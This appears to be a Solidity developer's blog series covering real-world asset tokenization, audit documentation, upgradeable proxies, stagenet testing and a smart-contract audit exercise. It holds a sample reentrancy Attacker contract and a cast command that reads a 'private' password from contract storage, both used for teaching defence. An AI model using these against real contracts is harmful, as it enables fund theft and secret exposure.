Is this token a security? (Assume yes if in doubt, especially in the US)
What KYC/AML checks are required for every holder?
How do you enforce transfer restrictions?
What happens when a holder appears on a sanctions list mid-holding?

On legal enforceability:

Does your jurisdiction recognize on-chain transfers as legally binding?
Which instrument governs a dispute - the token or the traditional record?
What is your dispute resolution mechanism?

On operations:

Which real-world events require on-chain state updates?
Who monitors for these events and triggers the updates?
What is your governance mechanism for emergencies?

If you cannot answer these before writing Solidity, the token you create will be technically correct and operationally broken.

The Honest Summary

Blockchain is genuinely excellent at a narrow set of things: recording state transitions with cryptographic finality, executing logic without trusted intermediaries, and maintaining a tamper-resistant history of on-chain events.

Tokenization of real-world assets requires all of that - plus everything blockchain fundamentally cannot do on its own.

What blockchain provides:            What tokenization requires:
─────────────────────────            ───────────────────────────
✅ Immutable transaction history  →  + Legal framework that recognizes it
✅ Cryptographic ownership proof  →  + Physical custody backing it
✅ Programmable transfer rules    →  + Off-chain compliance enforcement
✅ On-chain state machine         →  + Oracle infrastructure feeding it
✅ Transparent audit trail        →  + Human verification of what's audited

The real engineering challenge is building the bridge between these two columns. That bridge is made of legal agreements, custodial arrangements, oracle infrastructure, compliance middleware, and operational processes.

The token sits at the end of the bridge. It's where the system becomes visible to users. But the bridge itself is the product.

Tokenization is not primarily a smart contract problem. It is a provenance, custody, verification, and trust problem. The token is simply the final representation of a much larger operational reality.

The engineers who understand both columns - who are as comfortable reasoning about custodial failure modes and oracle staleness as they are writing Solidity - are the ones who will build tokenization infrastructure that actually works at scale.

The Brief for the Judge: Writing Audit-Ready Documentation

Tue, 26 May 2026 17:00:00 +0000

We have spent the last four posts building MilestoneCrowdfundUpgradeable protocol. We architected an upgradeable proxy, designed a mathematically rigorous escrow engine, fuzz-tested its invariants, and locked the doors against reentrancy attacks. We built a fortress.

But there is one final step. A secure fortress is incredibly dangerous if you don't leave behind a blueprint explaining exactly how the traps and locks are supposed to work.

Most developers hate writing documentation. In Web2, bad documentation means a new developer joins your team and spends three days figuring out an API endpoint instead of one hour. Frustrating, expensive, recoverable.

In Web3, bad documentation is catastrophic. When you hand your code to a security auditor, bad documentation means they might misunderstand the intended behavior of a function. They might classify a deliberate design choice as a vulnerability, forcing you to waste weeks fixing a non-issue. Worse, they might see a real bug, assume it was your intended logic, and let it pass into production where user funds get drained.

In this final post, I want to share exactly how I approached documenting MilestoneCrowdfundUpgradeable from NatSpec comments to architectural READMEs and why I believe documentation is the most underrated security tool in Web3.

The Mindset: Preparing the Brief

When I prepare a protocol for an audit, I think of the documentation as the brief I am handing to a judge before a trial.

The auditor is the judge. The code is the evidence. But without the brief, without the written explanation of intent, the documented invariants, and the explicit threat model, the judge is left to interpret the evidence alone. And interpretation without intent is where dangerous misreadings happen.

But here is the deeper truth: documentation isn't just for auditors. It is for the version of you that comes back to this codebase in six months after working on three other projects. That person has forgotten everything. The comments and the threat model are the only things standing between future-you and a catastrophic misunderstanding of your own protocol.

My rule is simple: If I have to think for more than five seconds about what a piece of code is doing, that piece of code needs a comment. Not because the code is bad, but because the next person reading it shouldn't have to spend those same five seconds. In a paid audit, those five seconds across a thousand lines become expensive hours of confusion.

NatSpec: Before, During, and After

Solidity uses a comment format called NatSpec (Ethereum Natural Language Specification). My approach to writing it happens in three distinct phases:

1. Before (The Specification)
I write the @notice and @param descriptions before I write the function body. This forces me to articulate what the function is supposed to do in plain English before I write a single line of logic. If I cannot describe it clearly in one sentence, I do not understand it well enough to code it yet. The comment becomes the specification; the code is just the implementation.

2. During (The "Why")
While writing the body, I add inline comments at critical decision points. In the last post, we looked at this exact code block:

// CEI: Effects - Update the ledger first, before money moves!
_pledges[_id][msg.sender] = 0;

Any competent developer can read _pledges[_id][msg.sender] = 0 and know what it does. What they cannot know without a comment is that this line is here specifically to prevent a reentrancy attack. My personal rule: The code says "what". Only a comment can say "why".

3. After (The Edge Cases)
After the function is complete, I write the @dev block. This is where I document the non-obvious: the edge cases I considered and rejected, the invariants this function must maintain, and the assumptions that must be true for it to be safe.

The Power of Visual State Machines

A smart contract is a state machine. It has states (Fundraising, Succeeded, Failed, Abandoned) and transitions between those states (finalize, haltCampaign).

You can write all of that in prose, but the human brain does not reason about state machines in paragraphs. It reasons about them visually. The moment I drew the state diagram for MilestoneCrowdfundUpgradeable using PlantUML, a massive gap became visible.

Looking at the diagram, I immediately noticed there was no direct transition from Fundraising to Abandoned. A campaign could only be Abandoned after it Succeeded. That was a correct design decision, you shouldn't be able to abandon a project that never even got funded but seeing it drawn forced me to go back and verify that the Solidity code actually enforced this explicitly. The diagram asked a question the code never explicitly answered.

Diagrams also communicate to people who cannot read Solidity. Your investors, your community, or a tokenomics specialist auditing your math might struggle with the raw code, but they can instantly follow a visual map.

The README Architecture

A lot of Web3 repositories just leave the default Foundry or Hardhat README file. Alternatively, they throw every piece of information into one giant, 3,000-word file.

One giant file is a red flag. It tells an auditor that the author did not think carefully about who would be reading it. I split the MilestoneCrowdfundUpgradeable documentation into specific hubs tailored to specific readers:

Protocol_Architecture.md: Written for the Auditor. Their primary question is: What is this protocol supposed to do, and what rules must it never break? This document answers that immediately.
Integration_Guide.md: Written for the Frontend Developer. Their primary question is: How do I call these functions correctly without breaking anything? They need the function signatures and error codes, not the threat model.
Incident_Response.md: Written for the Security Researcher. If they find a live vulnerability, their primary question is: Who has the authority to pause this, and how do I reach them right now? If they have to dig through installation instructions to find your emergency contact, you are wasting critical seconds during a hack.
Threat_Model.md: Written for the Skeptical Reviewer. This is the document most developers skip. It says: Here are the attacks we considered, here is why we are protected, and here are the residual risks we knowingly accepted. You cannot write a threat model without thinking like an attacker, and you cannot think like an attacker without finding things you missed.

A well-structured repository is a signal of engineering maturity. Before an auditor reads a single line of your Solidity, they have already formed a judgment about how seriously you take correctness based on your file structure.

The Hardest Part: Combating Drift

The hardest part is not writing documentation. It is keeping it true.

Code changes. Documentation does not change automatically. The gap between them is one of the most dangerous states a codebase can be in.

I experienced this directly. Early in the design of the fiat bridge, pledgeFiatOnBehalf was intended to apply a reduced platform fee. The NatSpec reflected that. Later, the stakeholder and I decided fiat pledges would be completely fee-exempt on-chain, with fees handled off-chain by Stripe.

I changed the code. I didn't immediately update the comment.

I caught it during a final review pass, but imagine if I hadn't. An auditor reading that comment would have expected fee logic that didn't exist, flagged its absence as a high-severity bug, and forced us to waste days in remediation meetings arguing over a phantom issue.

The discipline I developed from that experience is strict: Every time you change a function body, you update the NatSpec before you close the file. Not before you commit. Immediately. The comment is a structural part of the function, not a separate chore to do later.

The BinnaDev Takeaway

When a junior developer tells me, "My code is clean, it's self-documenting, I don't need to write a README," my response is always the same:

"Show me the part of your code that explains why you made that design decision."

Clean code tells you what. Only documentation tells you why. And in smart contract engineering, the why is where all the security lives. "Self-documenting code" makes sense in Web2 where the worst-case scenario is a confused colleague. It does not make sense in Web3 where the worst-case scenario is a misunderstood intent that costs your users everything they trusted you with.

Here is the practical test: If a professional auditor had to judge whether a specific line in your contract was an intentional design choice or a bug, would your code give them enough information to judge correctly without asking you a single question? If the answer is no, you need documentation.

And I will be completely honest with you on how I execute this practically.

English is not my first language. Documentation is fundamentally an asynchronous communication tool, you are writing for a stranger who cannot ask you a follow-up question, they have to wait for your response. In this context, a grammatical error doesn't just look careless; it creates genuine ambiguity. Did the developer mean this or that? To solve this, I use AI. Agile engineering tells us to prioritize working software over comprehensive documentation. That doesn't mean skip the docs; it means be smart about where your mental energy goes. The architecture, the invariant math, the security decisions, those required 100% of my focus. I used AI to help draft NatSpec suggestions and catch grammatical ambiguity so my thinking wasn't limited by the mechanics of expressing it in a second language. The ideas are mine entirely. The precision of communicating them is a collaboration.

Your code being clean means you are a careful developer. Your protocol being documented means you respect the people who will put their money into what you built. Both are required. You have the tools. Use them.

This concludes our five-part journey building the MilestoneCrowdfundUpgradeable protocol. From upgradeable proxies to defensive math, stateful fuzzing, reentrancy guards, and audit-ready documentation.

I hope this series has given you a real-world look at what security-first Web3 engineering actually looks like. Keep building, stay paranoid, and write excellent code.

Thinking Like an Attacker: The Airbags and Seatbelts of Smart Contract Security

Tue, 26 May 2026 07:00:00 +0000

In our last post, we built a mathematical proving ground using Foundry. We used stateful fuzzing to prove that the rules of our MilestoneCrowdfundUpgradeable protocol work exactly as intended.

But testing only proves that the contract behaves correctly when people follow the rules. What happens when someone actively tries to break them?

In Web2, when you think about security, you think about the perimeter. Who can get in? You build firewalls, you require authentication, you set up rate limiting. The attacker is outside the system, trying to break down the door.

In Web3, there is no perimeter. Your contract is public. The state is public. Every single function is readable by anyone on earth the moment you deploy it. The attacker is not trying to get past a wall, they are standing inside the room with you, reading your rulebook, looking for a sentence that contradicts itself.

So, my security-first mindset when I sit down to write Solidity is this: I am writing rules for a system that a brilliant, motivated, financially incentivized adversary will study longer and harder than I wrote it.

In this post, I want to show you exactly how I design against those adversaries. We are going to look at the most infamous hack in Web3 history, how to prevent it using the golden rule of smart contracts, and the real-world edge cases I had to actively design around.

The Refund Kiosk Glitch

To understand the most dangerous exploit in smart contracts, you don't need to understand code yet. You need to understand the refund kiosk glitch.

Imagine a store installs a new, automated self-service refund kiosk. It works like this:

You scan your receipt.
The machine dispenses your cash.
The machine marks your receipt as "refunded" in the database.

A clever person notices something. Between step 2 and step 3, there is a processing gap: a brief moment while the database updates.

So, the attacker builds a device and physically attaches it to the kiosk's cash dispenser slot. When cash drops into the tray, the weight of the notes triggers a pressure sensor inside the device, which automatically scans the receipt again immediately.

The attacker does not press any buttons. The act of receiving cash is itself the trigger for the next scan.

The kiosk checks the database: "Is this receipt already refunded?" The database still says no, because step 3 hasn't happened yet. So the kiosk dispenses again. Cash drops. The pressure sensor fires. The receipt scans again. The database still says no. It dispenses again.

This loop continues until the machine is completely empty. Nobody held anyone at gunpoint. The machine was following its own rules perfectly, it checked the ledger every single time before it paid. It just checked a ledger that was always one step behind reality.

The fix is incredibly simple. You just change the order of operations at the kiosk:

Scan your receipt.
Mark it as refunded in the database immediately.
Now, dispense the cash.

Now, when the cash drops and the pressure sensor fires a second scan, the kiosk checks the database, sees it is already refunded, and dispenses nothing. The loop never starts. By updating the internal record before handing over the cash, we close the exploitation gap entirely.

In smart contract engineering, this fix is called Checks-Effects-Interactions (CEI).

Check: Does this user have a valid claim?
Effect: Zero their balance in the ledger right now, before a single coin moves.
Interaction: Now, send the money.

Reentrancy: The Kiosk on Ethereum

Now that you understand the kiosk glitch, you already understand Reentrancy. Because Reentrancy is exactly that glitch, running on a blockchain.

In Ethereum, when your smart contract sends ETH to an address, if that address belongs to another smart contract, it can execute code the exact moment it receives the ETH. That receiving code is called a receive() function.

That receive() function is the pressure sensor. The attacker writes it once, deploys their contract, and the blockchain executes it automatically the moment ETH arrives. They do not manually trigger anything. The callback is a feature of how ETH transfers work, turned into a weapon.

Here is what the attacker's contract looks like:

contract Attacker {
    MilestoneCrowdfund public target;

    // The pressure sensor: When this contract receives ETH, 
    // it immediately calls claimRefund again, before the first call finishes!
    receive() external payable {
        target.claimRefund(campaignId);
    }

    function attack() external {
        target.claimRefund(campaignId);
    }
}

If we sent the money before updating our internal ledger, this attacker would drain our entire protocol in a single transaction. But because we use the Checks-Effects-Interactions pattern, look at the exact order of the claimRefund function inside MilestoneCrowdfundUpgradeable:

// 1. CHECKS: Does the user have a valid claim?
uint256 userPledge = _pledges[_id][msg.sender];
if (userPledge == 0) revert MilestoneCrowdfund__NoContribution();

// 2. EFFECTS: Update the ledger first, before money moves!
_pledges[_id][msg.sender] = 0;

// 3. INTERACTIONS: Now the money moves.
(bool success,) = payable(msg.sender).call{value: refundAmount}("");

By zeroing _pledges[_id][msg.sender] before the ETH moves, every malicious reentrant call finds a zero balance and reverts immediately. The ledger is never one step behind.

As a second line of defense, I also use OpenZeppelin's nonReentrant modifier. It works by setting a lock flag at the start of the function. Think of it as a door that locks behind you the moment you step inside. If the malicious receive() function tries to call claimRefund again, it slams into that locked door, and the entire transaction instantly reverts.

CEI makes the contract logically correct. nonReentrant makes it mechanically impossible to reenter. I tell every junior developer: do not choose between them. Use both. CEI is the airbag. nonReentrant is the seatbelt. You want both in the car.

The Real Edge Cases I Had to Design Around

Security isn't just about stopping hackers; it's about mitigating the risks of your own design choices. There were two specific edge cases I had to actively design around.

1. The Live Fee Rate
In MilestoneCrowdfundUpgradeable, the platform fee (defaultFeeBps) is a global variable that the owner can change at any time. This means two donors to the exact same campaign could pay different effective fees if the owner changes the rate between their pledges.

Why design it this way? Because the stakeholder explicitly requested the flexibility to run dynamic fee promotions. I immediately flagged the vulnerability to them: what if a compromised owner key raised the fee to 5% right before a massive whale pledge, and then immediately lowered it back? This would silently skim thousands of dollars from a single donor, and unless you were watching the transaction pool in real-time, it would be almost invisible.

I agreed to the stakeholder's requirement, but only with a strict mitigation strategy. The defense here isn't in the Solidity code, it is in the governance architecture. The owner is strictly documented as an Admin Multisig wallet. A single compromised key cannot change the fee unilaterally. The system around the code must be designed with the same rigor as the code itself.

2. The Dust Sweep
When dividing milestones by percentages, integer division always leaves a tiny fraction of a cent (wei) permanently locked in the contract. To prevent this "dust" from being lost forever, my contract uses a special code path for the final milestone:

if (c.milestonesReleased == c.milestoneCount) {
    amountToRelease = c.totalRaised - c.totalWithdrawn;
}

It simply sweeps whatever is left. But I had to ask myself rigorously: Can this sweep ever release MORE than it should? The mathematical guarantee that it cannot is my invariant: totalWithdrawn <= totalRaised. That is precisely what that same 4,495-second fuzz run from the last post was verifying. The fuzz test isn't decoration; it is the mathematical evidence that this final sweep is safe.

The BinnaDev Takeaway

If you are a junior developer about to deploy your first contract that holds real ETH, here is my ultimate advice to you:

Do not deploy until you can answer this question about every function that sends money: "What happens if the recipient is a malicious contract?"

Not a normal wallet. A smart contract. With a receive() function you did not write, controlled by someone who wants your users' funds, with a pressure sensor already wired and waiting.

If you cannot answer that question confidently for every single external call in your codebase, you are not ready to deploy. Go back and apply the Checks-Effects-Interactions pattern to every function that moves value. Add nonReentrant to every function that moves value. Then ask the question again.

The developers who get hacked are not the ones who don't know about reentrancy. They are the ones who know about it in theory, but did not sit down with their own code and ask that exact question. Knowledge without application is not protection.

Read your own code as if you are the attacker. The moment you find something that makes you uncomfortable as the attacker, you have found something to fix as the engineer. If you want a structured baseline for this evaluation, I highly recommend reading Trail of Bits' excellent post, Can You Pass the Rekt Test? It is a mandatory checklist for any serious Web3 engineering team.

Sleep comes after that review. Not before.

We have architected the protocol, proven the math, and secured the vault. But a secure protocol is useless if no one knows how to safely interact with it. In our fifth and final post, we are going to talk about the most underrated skill in Web3: Writing Audit-Ready Documentation.

Smart Contracts Demand Better Infrastructure: Building on contract.dev

Sat, 23 May 2026 06:55:56 +0000

When you first start writing smart contracts on the EVM chains, your journey usually begins in Remix. It is a powerful, open-source web and desktop application for writing, compiling, testing, and deploying code, making it a fantastic tool for quick iterations and local simulations. But eventually, you outgrow it. Even with its robust features, a localized environment does not perfectly replicate how your contract will interact with live mainnet state.

To truly test a protocol, you move to a public testnet. This is where the engineering friction begins.

You suddenly need to set up an Alchemy or Infura account just to get an RPC URL. Then comes the faucet fatigue. You scour Discord or click traffic lights on web pages just to beg for a fraction of Sepolia ETH. Many faucets now require a minimum mainnet balance to prevent spam. This is a massive roadblock if you are following basic security practices.

To protect your real-world funds, you should never paste your primary wallet's private key into a local .env file where an accidental GitHub push or a malicious package could expose it. Instead, you use fresh, $0-balance "dummy" accounts. But when a faucet requires a mainnet balance, it breaks this safety measure, forcing you to either risk your real wallet or fund a dummy account with real money just to get testnet tokens. Others force you to connect your personal social media and tweet just to get a single drop.

If you are designing a system that requires multiple actors like a Client, a Provider, and an Arbiter in an Escrow, this friction multiplies. You either have to repeat this frustrating process for three separate wallets, or manually transfer tokens between them. And ironically, those manual transfers still cost you the precious testnet gas you just spent time trying to collect.

The testing infrastructure quickly becomes more exhausting than writing the actual architecture.

Recently, I began exploring ways to reduce this environmental friction and found a highly practical workflow using contract.dev. It provides the visual simplicity of a tool like Remix, but on a globally accessible, private EVM testnets that replay mainnet state and come with built-in tools for testing, analysing, and simulating smart contracts before launch.

Here is a look at how I approach testing a 3-actor Escrow system visually, eliminating local node overhead and faucet fatigue so I can focus purely on protocol behavior.

The Architecture: A Trust-Minimized Escrow

To demonstrate this workflow, I built TrustEscrow.sol. The architecture is designed to be reusable and relies on strict access control across three distinct roles:

Client: Funds the escrow.
Provider: Executes the work and receives the funds.
Arbiter: A neutral third party that resolves disputes.

Because the state transitions depend entirely on who is calling the function, verifying role transitions is critical. I explicitly designed this contract with a resetEscrow function to allow continuous lifecycle testing without needing to redeploy the contract. Here is the core state machine governing the escrow:

enum Stage {
    AwaitingFunding, // 0 - deployed or reset, waiting for client
    Funded,          // 1 - ETH held; work in progress
    Completed,       // 2 - client released funds; ready for reset
    Disputed,        // 3 - either party raised a dispute; arbiter needed
    Resolved         // 4 - arbiter settled dispute; ready for reset
}
Stage public stage;

(Note: Making the state explicitly public is a deliberate choice here, it allows visual dashboards to read and display the exact stage of the protocol later in the workflow).

Normally, verifying these transitions requires writing extensive .t.sol files with heavy vm.prank() overhead. Here is how we can verify them visually on a live network instead.

Step 1: The Instant Environment (No Alchemy, No Faucets)

The immediate relief of this workflow is the infrastructure. By creating a project on contract.dev, I was instantly handed a live Stagenet RPC URL. No third-party node providers required.

To test this escrow, I needed three distinct, funded wallets. Instead of configuring these locally or begging a public faucet, I used the platform's Wallet Generator to spin up accounts for the Client, the Provider, and the Arbiter.

Using the built-in Stagenet Faucet, I funded the Client's wallet with 100 ETH instantly. This is a live RPC that anyone in the world can interact with. You get the freedom of a public testnet without the artificial scarcity of testnet tokens.

Step 2: CI/CD Sync and Deployment

Unlike local nodes, the platform doesn't just guess your contract's ABI. By linking my GitHub repository, the platform's CI/CD pipeline automatically synced and compiled my Foundry project.

To deploy, I didn't have to learn a new framework. I simply opened my terminal and ran my standard Foundry deployment script (forge script), pointing it to the new Stagenet RPC and my newly funded wallet private key.

The moment the transaction confirmed on the network, the platform detected the deployed contract and automatically generated a Workspace: a dedicated visual dashboard perfectly mapped to my Solidity code.

(Crucial note for advanced developers: Unlike a local simulation, this Stagenet utilizes Mainnet Replay. It actively mirrors live mainnet state. If your contract interacts with live Uniswap liquidity or Chainlink oracles, you can test against those live states immediately without writing complex fork scripts).

Step 3: Verifying State Transitions

When testing architecture, immediate feedback is invaluable. Using the Account Impersonation feature directly from the dashboard UI, I impersonated the Client and executed the fundEscrow() transaction with 1 ETH.

The Workspace updated in real-time to reflect the new reality. Instead of relying on terminal queries or cast call commands, the dashboard visually confirmed that the contract balance was strictly locked at 1 ETH, and the stage variable had transitioned correctly from AwaitingFunding to Funded.

Continuing the simulation, I impersonated the Provider to raise a dispute, and finally the Arbiter to resolve it. The entire lifecycle of a complex 3-actor protocol was verified in seconds.

Step 4: Automating the Ecosystem (AI User Activity)

Manually clicking through a happy path is great for an initial sanity check. But what if you want to simulate a living, breathing protocol under continuous load? Normally, this requires writing complex Hardhat scripts or custom bots to continuously fire transactions and redeploy contracts.

This is where my workflow completely changed.

The platform includes an Activity Scheduler powered by AI. Instead of writing mock scripts, the AI reads your contract's source code, ABI, and storage layout, and designs realistic user personas for your specific protocol.

Because I built TrustEscrow to be reusable via the resetEscrow function, the AI was able to create infinite, continuous testing loops. With one click, it generated new dummy wallets, funded them, and scheduled recurring transaction workflows. In my Workspace, it automatically created two distinct, recurring timelines:

The Happy Path: It scheduled the Client to fundEscrow, releaseFunds, and resetEscrow every 20 blocks.
The Dispute Path: It scheduled a complex continuous workflow of fundEscrow -> raiseDispute -> resolveDispute -> resetEscrow every 30 blocks.

I didn't have to write a single line of testing script. I was able to sit back and watch the Stagenet process concurrent, multi-actor state transitions continuously.

Bridging the Frontend Gap

Beyond testing smart contract logic, this approach solves a very real integration problem.

When you build in Remix or on a local Anvil node, handing the protocol off to a frontend developer usually requires them to recreate your local environment just to build the UI.

Because a Stagenet is a persistent, globally accessible network, you can simply share the RPC URL with your frontend team. You hand them a live, fully-funded sandbox where the AI Activity Simulator is already generating realistic background traffic. They can begin building the interface immediately against predictable, living data.

Final Thoughts

Smart contracts handle real value, so engineering them requires a deep focus on security, invariants, and mathematical correctness. Testing infrastructure should support that focus, not distract from it.

While robust local environments are great for early iterations, serious architecture requires a production-like setting. Visual testing on a Stagenet makes it easier to observe protocol behavior, simulate concurrent user activity, and collaborate with your team without getting bogged down in RPC setups and faucet fatigue.

If you are tired of fighting local nodes to test multi-wallet architecture, I highly recommend integrating a visual Stagenet into your workflow.

You can view the full TrustEscrow architecture on my GitHub here: github.com/obinnafranklinduru/trust-escrow

Glossary of Terms (For the Curious)

EVM (Ethereum Virtual Machine): The underlying engine that processes and executes smart contracts on Ethereum and other compatible blockchains. Web2 Analogy: Think of it like the global operating system or server environment (like Node.js or AWS) that runs your code.
RPC URL: The digital bridge that allows your interface to communicate with the blockchain. Web2 Analogy: Just like an API endpoint connects a frontend web app to a backend database.
Faucet: A developer service that provides free test tokens. Web2 Analogy: Like getting free "sandbox credits" in Stripe to test payments without using real credit cards.
Mainnet vs Testnet: Mainnet is the live network with real financial value. A testnet is a public sandbox with zero-value tokens. Web2 Analogy: Mainnet is your live "Production" environment. A testnet is your "Staging" environment.
Stagenet: A private testing environment that actively mirrors the live mainnet state. Web2 Analogy: A high-fidelity staging server that has been perfectly synced with a live copy of your production database.
Private Key: The secret cryptographic password that grants total control over a wallet and its funds. Web2 Analogy: The root password to your bank account.
.env File: A hidden local file used to store sensitive information securely. Web2 Analogy: It serves the exact same purpose in Web2—keeping API keys and passwords out of public GitHub repositories.
ABI (Application Binary Interface): A file that acts as a translation manual telling a frontend exactly how to interact with a compiled smart contract. Web2 Analogy: Like an OpenAPI/Swagger document that defines the endpoints and expected payloads for a REST API.
State Machine: An architectural pattern where a contract can only exist in one specific stage at a time (e.g., AwaitingFunding or Completed). Web2 Analogy: Like an e-commerce order that must strictly move from 'Pending' -> 'Shipped' -> 'Delivered' without skipping steps.
Foundry: A fast, specialized command-line toolkit used for compiling, testing, and deploying smart contracts. Web2 Analogy: A mix between a build tool (like Webpack) and a testing framework (like Jest).
vm.prank(): A specific testing command used to impersonate a different user to verify access controls. Web2 Analogy: Like a "Login as User" feature in an admin dashboard to test what a specific customer sees.

Immutability by Default, Upgradeability by Necessity: Lessons from a Crowdfunding Protocol

Mon, 27 Apr 2026 13:41:35 +0000

Smart contracts handle real value, so I believe every line of code should communicate trust.

When you first start learning Solidity, you are taught one golden rule: smart contracts are immutable. Deploying a contract is like launching a rocket into space, once it leaves the launchpad, you can't easily change the wiring. If there is a bug, the code is set in stone.

But recently, while building MilestoneCrowdfundUpgradeable: an onchain escrow protocol verified on Polygon. I hit a classic Web3 crossroads.

My stakeholder had a very practical requirement: flexibility. We knew we had future upgrades planned for the protocol, but we couldn't ask our users to interact with a new contract address every single month. That is a terrible user experience and a quick way to erode trust. We needed a single, reliable entry point for users, while maintaining the ability to upgrade the underlying logic.

We needed an upgradeable contract.

In this post (the first of a five-part series), I want to sit down with you and share exactly how I approached Upgradeability. If you are a beginner or intermediate developer trying to wrap your head around proxies, storage collisions, and initialization traps, this post is for you.

What Actually is a Proxy? (The Restaurant Analogy)
Before we talk about how to upgrade, we have to understand the architecture. How do you change code that is supposed to be unchangeable?

You split the contract into two pieces. I like to explain it using a restaurant analogy:

The Proxy (The Building & Cash Register): This contract has a permanent address. Users only ever interact with this contract. It holds all the money (ETH) and all the data (state).
The Implementation (The Kitchen Staff & Recipe): This contract holds the actual logic (the code for pledge(), refund(), etc.).

When a user sends money to the Proxy, the Proxy uses a special Ethereum command called delegatecall. It basically says to the Implementation: "Hey Kitchen, borrow my ingredients and tell me how to process this order, but leave the money in my cash register."

If we find a bug in our recipe, the Admin simply deploys a brand new Implementation contract (a new Kitchen Staff), and tells the Proxy to start asking them for instructions instead. The building address and the cash register never change.

There are a few ways to build this. I chose a pattern called UUPS (Universal Upgradeable Proxy Standard) via the OpenZeppelin library.

Without getting too bogged down in jargon, older patterns (like Transparent Proxies) put the "upgrade manager" in the Proxy itself. UUPS puts the "upgrade manager" in the Implementation contract. I chose UUPS because it makes the Proxy lightweight, which makes transactions cheaper (lower gas fees) for our users.

The Constructor Trap (And How to Get Hacked)

When you write a normal smart contract, you use a constructor() to set up your initial variables (like assigning the owner). Constructors run exactly once, during deployment.
But in a proxy setup, the Proxy deploys after the Implementation. The Proxy can't trigger the Implementation's constructor. So, the golden rule of upgradeability is: Do not use constructors. Use an initialize() function instead.

At first, it feels like you can just swap the words and move on. But here is the trap: The implementation contract is still a live contract sitting on the blockchain. Imagine you deploy your Implementation contract, and it has an initialize() function that sets the owner. Your Proxy connects to it and calls initialize(). Great! Your Proxy is the owner.

But what about the Implementation contract itself? It's just floating out there. If you don't lock it, a hacker can call initialize() directly on the Implementation contract, make themselves the owner, and potentially command it to self-destruct. If the Implementation is destroyed, your Proxy is permanently broken.

To prevent this, my approach is strict:

All protocol setup goes into initialize().
I immediately lock the Implementation contract using a special constructor.

/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
    // This locks the Implementation contract so no one can initialize it directly
    _disableInitializers(); 
}

From a mindset perspective: Assume attackers will interact with your implementation contract directly. Once you internalize that, locking it stops being a confusing "trap" and simply becomes part of your default security posture.

Storage Management: The Giant Spreadsheet

Upgradeable contracts are notorious for "storage collisions."

Think of smart contract storage like a giant, invisible spreadsheet. Row 1 is owner. Row 2 is totalRaised.

When you upgrade to Implementation V2, the Proxy still uses that exact same spreadsheet. If you accidentally write V2 so that a new variable called isCampaignActive is placed in Row 1, you just overwrote the owner! That is a storage collision, and it is catastrophic.

To prevent this, my approach is conservative and explicit:

Append-only storage: Never reorder variables. Never delete variables.
Storage Gaps: I use the classic uint256[50] private __gap; at the bottom of my contracts.

A storage gap is literally just claiming 50 empty rows at the bottom of your spreadsheet. If I ever need to add a new variable in V2, I take one row away from the gap (uint256[49] private __gap;) and add my new variable.

Why gaps instead of newer, complex patterns (like ERC-7201)? Because it's simple, battle-tested, and auditors easily understand it. Storage layout is not "code you can refactor"; it's "state you must preserve forever." Discipline is your real protection.

The Hardest Lesson: Hunting for Ghosts

The single most frustrating moment I had while setting up this project in Foundry (my testing framework) came down to one line of code.

In Web3, we use something called a ReentrancyGuard to stop hackers from double-spending money. Because I was building an upgradeable contract, I kept trying to import ReentrancyGuardUpgradeable.

It just wasn't there. Most older tutorials, blog posts, and AI tools told me to use the Upgradeable version, so it felt like I was doing something wrong.

What finally clicked was reading the source code of the newest OpenZeppelin version. I realized that the standard ReentrancyGuard no longer relied on a constructor. It used internal logic that worked perfectly fine behind a proxy. I didn't need an upgradeable version anymore; I could just use the normal one:

import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

The frustrating part wasn't the code, it was the mismatch between my old mental model ("everything must have an Upgradeable suffix") and reality (some contracts are now inherently proxy-safe).

It forced a deeper shift in how I work: I stopped coding from patterns, and started reasoning from first principles. Upgradeability isn't just about making a proxy; it's about understanding how every single tool you import behaves under the hood.

The BinnaDev Takeaway

If a junior developer asked me today, "Obinna, should I make my next project upgradeable?" my answer would be:

It depends but try not to use it unless you have a clear, defensible reason.

Upgradeability is not a free feature. You gain flexibility, but you introduce new attack surfaces and complexity. If you can ship your protocol as immutable, do that first. It gives you a simpler mental model, fewer failure modes, and it is vastly easier to secure.

Only reach for upgradeability if the system will hold significant user funds, has evolving logic, or needs long-term maintenance. At that point, upgradeability becomes a risk management tool, not a convenience.

My guiding principle is this: Immutability by default, upgradeability by necessity. If you can't clearly explain why it must be upgradeable, who controls the upgrades, and how users are protected, then you aren't ready to use it yet.

Deployment Update

The MilestoneCrowdfundUpgradeable contract has been successfully deployed on Polygon (Chain ID: 137), marking the transition from design and testing into a live, verifiable environment.

Here are the core deployment details:

Proxy Address: https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393
Implementation Address: https://polygonscan.com/address/0x003e81b1b080029b87c728590c9bfec339180625

This deployment reflects the architectural decisions discussed earlier: a proxy-based upgradeable system with clearly defined control boundaries and fund flow roles. With the contract now live, the focus shifts from infrastructure to behavior, how funds move, how milestones are enforced, and how the protocol responds under real-world conditions.

In the next post, we'll dive into the actual mechanics of the MilestoneCrowdfundUpgradeable protocol itself. I'll walk you through how we designed the escrow, the math behind milestone-based releases, and the trust model that protects users if a creator decides to walk away.

How To Audit A Smart Contract

Wed, 08 Apr 2026 08:57:34 +0000

I was going through the Updraft Smart Contract Security course, and I realized I had been doing some things the wrong way.
Here are a couple of things I started doing differently.

I am basing this article on the PasswordStore repo here: 3-passwordstore-audit.
Definitely check it out. It is only about 20 lines of contract code, and that is where nSLOC/CLOC comes in. It tells you how much actual code is in the codebase.

Step 1: Trace Trust Boundaries

Ask these questions:

Who can write the value?
Who can read the value?
What does the constructor assume?
What does the contract pretend is hidden?
What breaks if the value is public?

In PasswordStore.sol, the owner is set in the constructor, and the setter check msg.sender.
That gives the shape of the access control.

function setPassword(string memory newPassword) external {
    if (msg.sender != s_owner) {
        revert PasswordStore__NotOwner();
    }
    s_password = newPassword;
}

The guard is there. The function is protected. So far so good.

Step 2: What the repo shows

The repo points to two separate issues:

Issue 1: Missing access control on getPassword.
The getter has no msg.sender check, so anyone can call it and retrieve the password directly through the ABI.
Issue 2: The password is exposed in storage regardless.
Here is why.

Every state variable in a Solidity contract occupies a storage slot. s_password sits at slot 1. The private keyword only prevents other contracts from reading it through the ABI. It does nothing to stop an off-chain read.

# the 'private' variable
string private s_password;

You can retrieve the saved password with a single Foundry cast command:

cast parse-bytes32-string $(cast storage  <CONTRACT_ADDRESS> 1)

We fetched the raw bytes at storage slot 1 and decoded it to get the plaintext password.
